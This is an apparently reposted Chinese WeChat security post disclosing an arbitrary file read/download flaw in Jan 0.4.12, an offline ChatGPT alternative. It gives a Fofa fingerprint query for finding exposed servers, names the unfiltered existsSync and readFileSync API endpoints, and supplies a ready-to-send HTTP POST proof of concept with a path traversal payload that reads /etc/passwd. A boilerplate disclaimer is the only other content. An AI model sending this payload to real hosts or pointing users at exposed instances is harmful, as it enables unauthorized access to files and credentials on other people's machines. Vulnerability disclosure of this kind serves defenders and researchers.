Jan 任意文件读取/下载(AFR/AFD) 漏洞

[免责声明]

本公众号仅用于技术交流与学习，利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本公众号只是知识的搬运工，取之于民用之于民。

如果大家不想错过文章推送的话，可以将公众号设为星标☆

[介绍]

Jan 是 ChatGPT 的开源替代品，可在您的计算机上 100% 离线运行。多引擎支持（llama.cpp、TensorRT-LLM）。

项目地址

• 官方网站：https://jan.ai

• GitHub：https://github.com/janhq/jan

[漏洞描述]

Jan的API接口readFileSync未过滤参数，导致存在任意文件读/下载漏洞。

[受影响的版本]

• 0.4.12 最新

[搜索语法]

Fofa

• icon_hash="-165268926"

[漏洞原理和复现]

/v1/app/existsSync接口可以判断文件是否存在：

/v1/app/readFileSync接口可以读取或下载任意文件：

[Poc]

POST /v1/app/readFileSync HTTP/1.1
Host: {{Host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://<IP>:<Port>
contentType: application/json
Content-Type: text/plain;charset=UTF-8
Content-Length: 48
Origin: http://<IP>:<Port>
Connection: close

["file:/../../../../../../etc/passwd","utf-8"]

原文始发于微信公众号（Hack All Sec）：Jan 任意文件读取/下载(AFR/AFD) 漏洞